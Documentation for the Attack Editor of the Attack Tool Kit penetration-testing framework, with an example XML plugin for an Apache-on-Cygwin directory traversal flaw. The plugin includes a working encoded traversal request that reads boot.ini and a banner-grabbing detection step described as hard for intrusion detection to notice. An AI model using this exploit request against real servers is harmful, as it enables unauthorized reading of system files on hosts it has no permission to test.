Attack Editor

Transparency is one of the main goals of the Attack Tool Kit project. Transparency means that it is possible to see whatever is going on and this whenever it is wanted. The Attack Editor is the main part that fulfills this goal in the Attack Tool Kit. The Attack Editor is a tool where you are able to see all fields of a loaded plugins. You are also able to change these values to alter the behavior of a specific check. So you are able to realize specific and dedicated routines.

Opening the Attack Editor is possible in many different ways. A double click on a plugin within the treeview in the main frame is a very quick way. Afterwards the editor frame is opening.

In the Attack Editor many fields grouped in different tabs (e.g. description, classification, sources) can be found. These are all provided from the loaded plugin. You are able to see the used protocol, the default port, the procedure routines and many things more. The frame is always on top but you are able to work with the underlying frames. Selecting other plugins, starting attacks or the analysis of running checks is possible without closing the editor frame.

Primarily the Attack Editor can be used to see the values of a plugin. This is an important advantage if you are running a specific penetration test against a host or application. But you are also able to change the values to alter the behavior of an attack. For example you are able to save specific directories for a cross site scripting attack. Or you can change the payload of a buffer overflow exploit procedure. The handling of the editor frame is very simple because you are able to open and save plugins as like in other applications (e.g. a text editor). The plugins are saved in the ASCII XML plugin format automaticly.

<plugin_id>253</plugin_id>
<plugin_name>Apache prior 2.0.49 cygwin directory traversal</plugin_name>
<plugin_family>HTTP</plugin_family>
<plugin_version>2.0</plugin_version>
<plugin_protocol>tcp</plugin_protocol>
<plugin_port>80</plugin_port>
<plugin_procedure_detection>open|send HEAD / HTTP/1.0\n\n|sleep|close|pattern_exists *Server: Apache/[0-1].* OR *Server: Apache/2.0.[0-3]* OR *Server: Apache/2.0.4[0-8]*</plugin_procedure_detection>
<plugin_procedure_exploit>open|send GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#*200 OK *</plugin_procedure_exploit>
<plugin_detection_accuracy>80</plugin_detection_accuracy>
<plugin_exploit_accuracy>99</plugin_exploit_accuracy>
<plugin_comment>This plugin was written with the ATK Attack Editor. Corrected the plugin structure and added the accuracy values in 2.0. Also corrected the exploiting routine to be more accurate.</plugin_comment>
<bug_severity>High</bug_severity>
<bug_popularity>8</bug_popularity>
<bug_simplicity>8</bug_simplicity>
<bug_impact>8</bug_impact>
<bug_risk>8</bug_risk>
<source_securityfocus_bid>9874</source_securityfocus_bid>
<source_misc>http://www.securityfocus.com/archive/1/355013</source_misc>

The functional core of every plugin are the procedures. Since ATK 3.0 they are seperated between detection and exploiting (older releases were using just one general procedure routine). The detection routine is able to detect a vulnerability without running the specific attack. Most detections are done with banner grabbing which is nearly impossible to be detected by an intrusion detection system. On the other hand the exploiting procedure is able to run the specific exploit. This routine is able to exploit the given flaw and determine the existence of the vulnerability much more accurate.

What procedure you would like to run depends from your needs. Is stealth or accuracy more important? If you start an attack without specifying the procedure type the more stealthier procedure is chosen. This prevents uncoordinated exploiting of existing flaws by script kiddies without technical knowledge. Exploiting is just something for penetration testers who know what the are doing and why they doing it in this way.